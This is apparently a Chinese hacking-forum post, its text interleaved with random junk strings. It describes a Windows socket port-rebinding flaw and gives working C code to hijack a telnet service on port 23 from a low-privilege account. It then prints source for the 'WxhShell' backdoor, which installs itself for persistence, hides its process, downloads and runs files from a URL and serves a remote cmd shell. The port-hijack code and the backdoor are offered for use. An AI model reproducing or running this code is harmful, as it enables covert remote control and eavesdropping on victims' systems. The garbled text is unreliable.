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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KSbKEA s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7,U=Qe; NO7J!k? saddr.sin_family = AF_INET; +6sy-<ZL: Ed0QQyC@9 saddr.sin_addr.s_addr = htonl(INADDR_ANY); _(_a*ml j@W.&- _ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); **w!CaqvY (yu/l6[ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ' KWyx d?s<2RkPT 这意味着什么?意味着可以进行如下的攻击: ~ZmN44?R qW$<U3u} 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b(*!$EB ?x$"+, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i2@VB6]? fV &KM*W*@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *"+=K,#D
#zG&|<hc 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 6.CbAi3Z
_D+}q_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )#BMTKA^ &v$rn#l 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TC@s
Ee)T1~;W 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >QjAoDVX? X}=n:Ql'YY #include ^`*9QjY #include Y'c>:;JEe #include
|XT)QK1 #include D8inB+/- DWORD WINAPI ClientThread(LPVOID lpParam); KX76UW int main() HFKfkAl { ) brVduB WORD wVersionRequested; q4R5<LW" DWORD ret; VvvRRP^q WSADATA wsaData; 4H,`]B8(D BOOL val; n(b(yXYm] SOCKADDR_IN saddr; 4~k\j SOCKADDR_IN scaddr; J4QXz[dG int err; 931bA&SL=/ SOCKET s; aH 4c02s$ SOCKET sc; E[2m&3& int caddsize; N^#ZJoR HANDLE mt; M}`B{]lLz DWORD tid; 98j>1"8 wVersionRequested = MAKEWORD( 2, 2 ); Ov};e err = WSAStartup( wVersionRequested, &wsaData ); Z,RzN5eN if ( err != 0 ) { O,J>/
printf("error!WSAStartup failed!\n"); 19&<|qTz return -1; )LdP5z- } :9O#ObFR saddr.sin_family = AF_INET; {E
p0TVj` A'j;\
`1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 52SaKA[ 6 )Hwt_b saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f* !j[U/r_ saddr.sin_port = htons(23); =q>'19^Jx if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >/:" D$
{ JI? rL printf("error!socket failed!\n"); I, -hf=- return -1; VLS0XKI) } V `b2TS val = TRUE; M3J#'%$ //SO_REUSEADDR选项就是可以实现端口重绑定的 ?HTjmIb if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E%+Dl= { &)8:h+&Z printf("error!setsockopt failed!\n"); *'OxAfa#x return -1; u\E?Y[1 } Usr@uI#{J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; TkE 8D
n //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ST2.:v;lb //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @Py/K / Ager$uC if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) E4gYemuN {
*-+&[P]m ret=GetLastError(); R?,an2 printf("error!bind failed!\n"); n1qQ+(xC return -1; 1q~+E\x } 0]>u)% listen(s,2); +!k&Yje while(1) H9KKed47d/ { S\''e`Eb"5 caddsize = sizeof(scaddr); 8MK>)P o) //接受连接请求 l\BVS) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p`mS[bxv! if(sc!=INVALID_SOCKET) ~3UQ|j { {p)",)td mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #,S0HDDHn if(mt==NULL) P::TO-C { g3Ec"_>P printf("Thread Creat Failed!\n"); Mx6@$tQ% break; aHs^tPg } {n(b{ibl } ;6gDV`Twy CloseHandle(mt); jYx38_5e } 4,..kSA3iw closesocket(s); ~u)}ScTp WSACleanup(); ]p*l%(dhY return 0; V\6=ySx } T#M,~lD DWORD WINAPI ClientThread(LPVOID lpParam) kv8Fko { DamCF SOCKET ss = (SOCKET)lpParam; r^h4z`:L SOCKET sc; 6$fHtJD: unsigned char buf[4096]; m*ISa(#(, SOCKADDR_IN saddr; ]P#XVDn+; long num; H70LhN DWORD val; {SwQ[$k=_ DWORD ret; @'YS1 N< //如果是隐藏端口应用的话,可以在此处加一些判断 6^%UU
o% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 LL] zT H0 saddr.sin_family = AF_INET; qgE 73.!`6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); wDcj,:h` saddr.sin_port = htons(23); vK 7^*qr;j if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HqI t74+ { hD\rtW printf("error!socket failed!\n"); 2GFLnz return -1; pM x } |B.0TdF val = 100; EzDk}uKY0R if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r9X?PA0f { Ae
mDJ8Y ret = GetLastError(); J+[_Wd return -1; "nZ*{uv } wyp|qIS; if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )u3 Zm { .9R
[*< ret = GetLastError(); .nG#co"r}3 return -1; SPN5dE.@ } nNrPHNfqD if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #rxVd
7f { W"):-Wq printf("error!socket connect failed!\n"); !O-T0O closesocket(sc); I'PeN0T
f closesocket(ss); F_Z- 8>P return -1; ;} und*q } kdCUORMK while(1) fYp'&Btb]x { Uh7v@YMC //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }~#pEX~j* //如果是嗅探内容的话,可以再此处进行内容分析和记录 xB_!>SqF1U //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 UQ'\7OS num = recv(ss,buf,4096,0); #~SP)Ukp if(num>0) 1=#q5dZ] send(sc,buf,num,0); /3;4#:Kkw else if(num==0) 7.C;NT break; *4_jA]( num = recv(sc,buf,4096,0); !xP8#|1 if(num>0) 5Ycco,x send(ss,buf,num,0); TftHwe):V else if(num==0) L~(_x"uXd break; Ae69>bkE0 } r;>*_Oc7g closesocket(ss); $}lbT15a closesocket(sc); t>1Z\lE\" return 0 ; XD |E=s } !
vP[;6 C3< m7h 8i6Ps$T ========================================================== v[#9+6P= hfnN@Kg?B} 下边附上一个代码,,WXhSHELL _$=
_du .gG1kW A- ========================================================== R>,:A%?^b5 io,M{Ib #include "stdafx.h" i-bJS6 wB.Nn/p #include <stdio.h> K)qF+Vb^j #include <string.h> m<{<s T #include <windows.h> .jS~By|r #include <winsock2.h> #k_HN}B #include <winsvc.h> 8#(Q_ #include <urlmon.h> V+Cwzc^j /DQc&.jK #pragma comment (lib, "Ws2_32.lib") M%1}/!J3 #pragma comment (lib, "urlmon.lib") Q>/C*@ A/s>PhxV #define MAX_USER 100 // 最大客户端连接数 M7+nW ; e% #define BUF_SOCK 200 // sock buffer Ul2R'"FB #define KEY_BUFF 255 // 输入 buffer d*A*y ^OD la( <8 #define REBOOT 0 // 重启 T32+3wb"I #define SHUTDOWN 1 // 关机 (WK&^,zQn [
j3&/ #define DEF_PORT 5000 // 监听端口 f@8>HCI Vl_:c75" #define REG_LEN 16 // 注册表键长度 }@Ge}9$h #define SVC_LEN 80 // NT服务名长度 'a$Gv&fu YhOlxON // 从dll定义API 70f Klp typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Vm(1G8 a typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GDu~d<R H typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2R=DB`3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bhkUKxd SG-'R1
J // wxhshell配置信息 }:u~K;O87 struct WSCFG { FL(6?8zK int ws_port; // 监听端口 `!Ds6 char ws_passstr[REG_LEN]; // 口令 CamE' int ws_autoins; // 安装标记, 1=yes 0=no 1QmH{jM char ws_regname[REG_LEN]; // 注册表键名 $ "E).j char ws_svcname[REG_LEN]; // 服务名 8wVY0oRnU char ws_svcdisp[SVC_LEN]; // 服务显示名 u}!@ ,/) char ws_svcdesc[SVC_LEN]; // 服务描述信息 'd+NVj{C char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MS0Fl|YA int ws_downexe; // 下载执行标记, 1=yes 0=no dFH$l char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Fx5d:!]:$? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kGdt1N[ 66.5QD0 }; 0j30LXI_ T/^Hz4uA7 // default Wxhshell configuration Jrg2/ee,* struct WSCFG wscfg={DEF_PORT, )dY=0"4Z "xuhuanlingzhe", w"SoeU 1, YyTSyP4 "Wxhshell", e=4+$d "Wxhshell", oI}kH=<, "WxhShell Service", DA2}{ "Wrsky Windows CmdShell Service", UilMv~0 "Please Input Your Password: ", ~><^'j[ 1, Row)hx8 " http://www.wrsky.com/wxhshell.exe", krsYog(^z "Wxhshell.exe" M7ers|&{ }; 0PU8#2pR ([-|} // 消息定义模块 qZ}P*+`Q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; deM7fN4lTi char *msg_ws_prompt="\n\r? for help\n\r#>"; ;]gP@ h/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; TjHwjRa char *msg_ws_ext="\n\rExit.";
fv`O4 char *msg_ws_end="\n\rQuit."; 3}@_hS"^8 char *msg_ws_boot="\n\rReboot..."; 5B&;uY char *msg_ws_poff="\n\rShutdown..."; a@\D$#2r char *msg_ws_down="\n\rSave to "; ~er\~kp hoQs
@[ char *msg_ws_err="\n\rErr!"; VH=S?_RY> char *msg_ws_ok="\n\rOK!"; W
D
T]! SB5&A_tr char ExeFile[MAX_PATH]; xdf82) int nUser = 0; AJSx%?h:6 HANDLE handles[MAX_USER]; O~59FuL int OsIsNt; ep=qf/vd< C4hx@abA SERVICE_STATUS serviceStatus; >nw++[K_ SERVICE_STATUS_HANDLE hServiceStatusHandle; n>A98NQ 2Fz|fW_ // 函数声明 VxY+h`4# int Install(void); G7)Fk%> int Uninstall(void); p=C%Hmd5E int DownloadFile(char *sURL, SOCKET wsh); m;D- u>o int Boot(int flag); Wm);C~Le void HideProc(void); $KLD2BAL int GetOsVer(void); I! > \#K int Wxhshell(SOCKET wsl); J?Dq>%+^ void TalkWithClient(void *cs); #
eCjn int CmdShell(SOCKET sock); *P 3V int StartFromService(void); `ORECg) int StartWxhshell(LPSTR lpCmdLine); e"'#\tSG zGc:
@z VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n+BJxu? VOID WINAPI NTServiceHandler( DWORD fdwControl ); Pfm_@'8 m}8[#: // 数据结构和表定义 0TmR/uUT SERVICE_TABLE_ENTRY DispatchTable[] = "Ae@lINn[y { Gg~QAsks
{wscfg.ws_svcname, NTServiceMain}, >[Ye {NULL, NULL} 63.wL0~ }; c\ia6[3sX B 9T!j]' // 自我安装 Rb%%?*| int Install(void) cuK,X!O { zCOgBT~p char svExeFile[MAX_PATH]; hUD7_arKF
HKEY key; zfc3)7 strcpy(svExeFile,ExeFile); f]G>(V=i !^v5-xO?rP // 如果是win9x系统,修改注册表设为自启动 \=0Vuz if(!OsIsNt) { <`jLY)sw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { # [e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fe.t/amS/ RegCloseKey(key); "dROb}szn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
bu=?N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QT9n,lX RegCloseKey(key); w,O,W[C return 0; %0$qP0|`3I } l3Lyea: } S a4W` } 3d-%>?-ee else { hzI|A~MFB A<6%r7&B' // 如果是NT以上系统,安装为系统服务 q~@]W= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eeHP&1= 7 if (schSCManager!=0) yA)(*PFz { e#,~,W.H SC_HANDLE schService = CreateService ]$p{I)d& ( [kqYfY?K schSCManager, C-8qj> wscfg.ws_svcname, ?-tVSRKQ wscfg.ws_svcdisp, ?KITC;\\ SERVICE_ALL_ACCESS, 4*aZ>R2hO SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L:(1ZS SERVICE_AUTO_START, Oky**B[D' SERVICE_ERROR_NORMAL, K"uNxZ svExeFile, ->h6j NULL, `;YU.* NULL, 7HVZZ!>~ NULL, kGL1!=> NULL, l ^d[EL+ NULL +4\U)Z/\ ); \o\nr!=k if (schService!=0) >XOiu#kC { U|HB=BP CloseServiceHandle(schService); Y=` CloseServiceHandle(schSCManager); it>r+% strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I+ es8 strcat(svExeFile,wscfg.ws_svcname); xr7+$:>a if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <" @zn RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vsL[*OeI RegCloseKey(key); ?88`fJ@tk? return 0; 0<PR+Iv*i } }<z_Q_b+e } q %0Cg= CloseServiceHandle(schSCManager); hky;CD~$ } S!PzLTc } +dBz`WD LTJc,3\, return 1; [xh*"wT#g } 8vuCc= $5L0.$Tj // 自我卸载 ,*]d~Y int Uninstall(void) 66#" { 7 ~ztwL HKEY key; __[xD\ES PyA&ZkX> if(!OsIsNt) { ^1Xt]T`e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }n7th RegDeleteValue(key,wscfg.ws_regname); bu&t'?zx! RegCloseKey(key); aF|d^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `z0{S! RegDeleteValue(key,wscfg.ws_regname); XE3'`D! RegCloseKey(key); 5/gDK+%4D( return 0; dq IlD!
} eZr&x~]
-w } =<@\,xN>C
} UZEI:k,dv else { x f4{r+ +,v-=~5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <!pQ if (schSCManager!=0) cst}Ibfi { 9s}Kl($ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uY<
H#k if (schService!=0) | 3+m%;X { 83cW=?UgA if(DeleteService(schService)!=0) { XhdSFxW} CloseServiceHandle(schService); xyH/e*a CloseServiceHandle(schSCManager); 8F)G7
H, return 0; 577:u<Yt } NZN-^ > CloseServiceHandle(schService); qzFQEepso } wh:1PP CloseServiceHandle(schSCManager); hh~n#7w~IR } FuX 8v } dY"}\v6 +%N
KQ'49I return 1; =e><z9hY } AM} brO (-NHxo // 从指定url下载文件 )'
xETA int DownloadFile(char *sURL, SOCKET wsh) ?3Ij*}_O2 { #Fu>|2F| HRESULT hr; .+y>8h3{ char seps[]= "/"; Wk^RA_ char *token; mL~z~w*s char *file; w62=06`@ char myURL[MAX_PATH]; Q,Z*8FH= char myFILE[MAX_PATH]; `(0LK%w bXYA5wG strcpy(myURL,sURL); h{lDxOH* token=strtok(myURL,seps); 44\>gI< while(token!=NULL) AGYm';z3 { ,}xbAA# file=token; P6Bl
*@G token=strtok(NULL,seps); 6zIgQ4Bp24 } *m+5Pr`7 U-0#0} _ GetCurrentDirectory(MAX_PATH,myFILE); HNa]H;-+5 strcat(myFILE, "\\"); Je4Z(kj 0 strcat(myFILE, file); ^*R(!P^ send(wsh,myFILE,strlen(myFILE),0); 9umGIQHnil send(wsh,"...",3,0); >EXb|vw
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t ]c{c#N/ if(hr==S_OK) Io2mWvu?5 return 0; P&*sB%B else %Y4e9T". return 1; ">dq0gD U},=LsDsW4 } I~'*$l ZX
b}91rzt // 系统电源模块 Swtbl`, int Boot(int flag) :9l51oE7 { \g-j9|0 HANDLE hToken; ,`td@Y TOKEN_PRIVILEGES tkp; g"Qh]: v_PdOp[
k if(OsIsNt) { lf>nbvp OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BzpP7 ZWV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :^C'<SY2Gs tkp.PrivilegeCount = 1; Qq0l*)mX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; b'x$2K;E AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *i$ePVU if(flag==REBOOT) { Snf"z8sw if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yy2Ie return 0; #
Oup^ o@ } AyE\fY5 else { &h$|j if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y9 r3XhVI return 0; }bB`(B,m } h3u1K>R) } ]_*S~'x else { K2'O]# if(flag==REBOOT) { Jd
3@cLCe- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3+OsjZ return 0; PfW|77 } S+x_c4 T else { <o:@dS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0? Yz]+{C return 0; E\2Ml@J } 8{&["? } Sn3:x5H,l ^9"KTZc-* return 1; E\)eu1Hw4B } Mxz,wfaH> i6no;}j // win9x进程隐藏模块 nl/UdgI void HideProc(void) "c`xH@D { xc'vS>& 1H4fJ3- HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y@vj;3: if ( hKernel != NULL ) 2%rLoL$Y2+ { j033%p+Xc pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p{;i& HNdp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +p:Y=>bTj FreeLibrary(hKernel); eE:&qy^ } LhJ a)jFQ 1]4^V7y return; |ek
ak{js } ?;7b*Z (L69{n // 获取操作系统版本 &d$~6'x* int GetOsVer(void) u>cC O'q { 6p<`h^ OSVERSIONINFO winfo; hol<dB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eG]a zt GetVersionEx(&winfo); A| x:UQlu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?F$6;N6x return 1; BD;H
else zQuM !. return 0; 2:v <qX } 4L:>4X[T [ x> // 客户端句柄模块 z?.(3oLT int Wxhshell(SOCKET wsl) ^)\+l%M { `ti8- SOCKET wsh; delf
] struct sockaddr_in client; r4knN
2: DWORD myID; f{Q p ]W9B6G_ while(nUser<MAX_USER) K} x/ BhE+ { yqcM(,0] int nSize=sizeof(client); tEhr wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OeTu?d&N if(wsh==INVALID_SOCKET) return 1; `bP?o D\rmaF+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2cnj@E:5l if(handles[nUser]==0) |4SW[>WT: closesocket(wsh); VuWib+fT else 12gw#J/)9h nUser++; W,N L*($^ } E/O5e(h WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E 5kF^P P W[6/7 return 0; h`?k.{})M } E <@\>y.[ .hz2&9Ow // 关闭 socket !Cb=B void CloseIt(SOCKET wsh) }: #dV
B+ { 0\ f-z6 closesocket(wsh); ~iTxv_\=6u nUser--; 6Y?`=kAp ExitThread(0); 9O >z4o } 5+L8\V9; YN#XmX% // 客户端请求句柄 ZgF/;8!~V- void TalkWithClient(void *cs) 76MsrOv55 { 1_3?R}$Wl .uDM_ 34 SOCKET wsh=(SOCKET)cs; fv==Gu%{ char pwd[SVC_LEN]; 1P5LH5 char cmd[KEY_BUFF]; !J#.!}3 char chr[1]; /2w@K_Px6 int i,j; qX@9N=g`#O w6U
@tW while (nUser < MAX_USER) { VK4/82@5 B)a@fmp"a if(wscfg.ws_passstr) { NV~vuC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zz")`hUG //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tp+=0k2i //ZeroMemory(pwd,KEY_BUFF); <IH*\q:7 i=0; 22vq=RO7Z while(i<SVC_LEN) { a|.20w5 [$:@X V( // 设置超时 qy9i9$8 fd_set FdRead; x7gjG"V struct timeval TimeOut; ak2dn]]D FD_ZERO(&FdRead); d
Uz<1^L FD_SET(wsh,&FdRead); ay[ZsQC TimeOut.tv_sec=8; cHEz{'1m TimeOut.tv_usec=0; >Z"9rF2SW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +S0u=u65 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,>w}xWSYpG pzSqbgfrQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); + (=I8s/ pwd =chr[0]; 1*c>I@I; if(chr[0]==0xd || chr[0]==0xa) { |Mlh; pwd=0; $3:X+X break; \_>?V5( } 7vNtv9 i++; @\$Keg=>: } `,m7xJZ?y E0jUewG // 如果是非法用户,关闭 socket =LqL@5Xr if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aH^{Vv$]M@ } Mk "vvk a
8-;
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $kv[iI@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9<Ag1l D"`[6EN[ while(1) { NxB+? vnVZJ}]w\ ZeroMemory(cmd,KEY_BUFF); FK3Whe{KP{ \bRy(Z) // 自动支持客户端 telnet标准 2YluJ:LN j=0; ex0oAt^ while(j<KEY_BUFF) { &q L<C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G{O\)gf cmd[j]=chr[0]; MC6)=0:KX if(chr[0]==0xa || chr[0]==0xd) { DUo0w f#D^ cmd[j]=0; N*':U^/t4J break; wO!%
q[ } >F|qb*Tm7 j++; d/4ubf+$k } #~*XDWvIS~ T N Ist // 下载文件 |Z!@'YB if(strstr(cmd,"http://")) { :@;6 send(wsh,msg_ws_down,strlen(msg_ws_down),0); IO6MK&R if(DownloadFile(cmd,wsh)) #AvEH=: send(wsh,msg_ws_err,strlen(msg_ws_err),0); %A=|'6)k2 else +i4P,Lp send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $>(9~Yh0 } G V=OKf# else { Md?acWE*L c+wuC, switch(cmd[0]) { Ri[S<GOMii e@yx}:]h // 帮助 )5'rw<:=" case '?': { ,b4~!V send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3Mxz_~ break; q>P[n z% } S_j1=6#^ // 安装 b.@H1L case 'i': { {sl~2#,}b1 if(Install()) IQ=CNby: send(wsh,msg_ws_err,strlen(msg_ws_err),0); v10mDr else J+0/ :00( send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %B0w~[!4} break; |FjBKj } sl% #u9r= // 卸载 tr5'dX4] case 'r': { K:uQ#W.& if(Uninstall()) f%L:<4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); %kJh6J else nZ541o@t9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xl|ghjn break; $\0TD7p } OCwW@OC + // 显示 wxhshell 所在路径 qT"drgpi3 case 'p': { R/Tj^lM char svExeFile[MAX_PATH]; cB_pyX9Z strcpy(svExeFile,"\n\r"); R
!Fx)xj strcat(svExeFile,ExeFile); Kyu@>9Ok send(wsh,svExeFile,strlen(svExeFile),0); ,cPkx~w0 break; [6G=yp } {uEu>D$8 // 重启 Z4\tY^NI case 'b': { +{S Maq send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u/;_?zI if(Boot(REBOOT)) cl@kRX<7' send(wsh,msg_ws_err,strlen(msg_ws_err),0); FoQ?U=er else { bG"6pU closesocket(wsh); dZ.}j&ZH' ExitThread(0); LgO i3 } J1nXAh)J break; 'w'Dwqhmr } 9)jo7,VM // 关机 @>+^W& case 'd': { .zQ4/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;A
x=]Q if(Boot(SHUTDOWN)) )\RzE[Cb send(wsh,msg_ws_err,strlen(msg_ws_err),0); ix(U:'{ else { -|6V}wHg~ closesocket(wsh); KBd7|,j ExitThread(0); =7F E/S } YomwjKyuP break; 2;3x,<Cg } M\9at\$ // 获取shell l#tS.+B7 case 's': { "L ^TT2 CmdShell(wsh); 0W;q!H[G closesocket(wsh); *iPs4Es- ExitThread(0); >F,$;y52 break; OY+!aG@. } !}z%#$ // 退出 )lQN)!.) case 'x': { 0T7M_G'5Q send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~o}moE/
;O CloseIt(wsh); 0@o;|N"i break; <GSQ2bX[ } ww-XMz h // 离开 JqL<$mSep case 'q': { ]lymY _ > send(wsh,msg_ws_end,strlen(msg_ws_end),0); T_3V/)%@ closesocket(wsh); }P05eI WSACleanup(); Fsnw3/Nr exit(1); 3s3a> break; 58M'r{8_ } I[tAT[ < } >&*6Fqd }
Tbe_xs^ 7yo|ie@S // 提示信息 1-4 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q,OkO?uY } ztRWIkI
q } rd|@*^k _K
4eD. return; $ijx#a&O } /&~nM NvXj6U*% // shell模块句柄 |U8>:DE l int CmdShell(SOCKET sock) 6 lB{Ao?| { {KF 7j63 STARTUPINFO si; nL 1IS ZeroMemory(&si,sizeof(si)); XMjI}SPG si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p=:7 atE si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "r5'lQI PROCESS_INFORMATION ProcessInfo; trID#DT~ char cmdline[]="cmd"; '?&B5C CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jrDz7AfA return 0; 0S)"Q^6ny } :6\-9m8JM Z\ "Kd // 自身启动模式 TKj/6Jz| int StartFromService(void) @t{{Q1 { 'US:Mr3 typedef struct |NphG| { |HKHN?) DWORD ExitStatus; jldcvW DWORD PebBaseAddress; r< d? DWORD AffinityMask; K8yWg\K DWORD BasePriority; GV `idFd ULONG UniqueProcessId; b AA'=z< ULONG InheritedFromUniqueProcessId; d +*T@k]>M } PROCESS_BASIC_INFORMATION; 17MN8SfQ )W_ Y3M, PROCNTQSIP NtQueryInformationProcess; X m_Ub>N5 -ucz+{ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <MI$Nl static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .#:@cP~v r9p?@P\:[ HANDLE hProcess; -o!saX< PROCESS_BASIC_INFORMATION pbi; 2c*VHIl; mvW^P`nB HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MY0[Oq cm= if(NULL == hInst ) return 0; UgOGBj,&5W pn ~/!y g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HQ-N!pf9 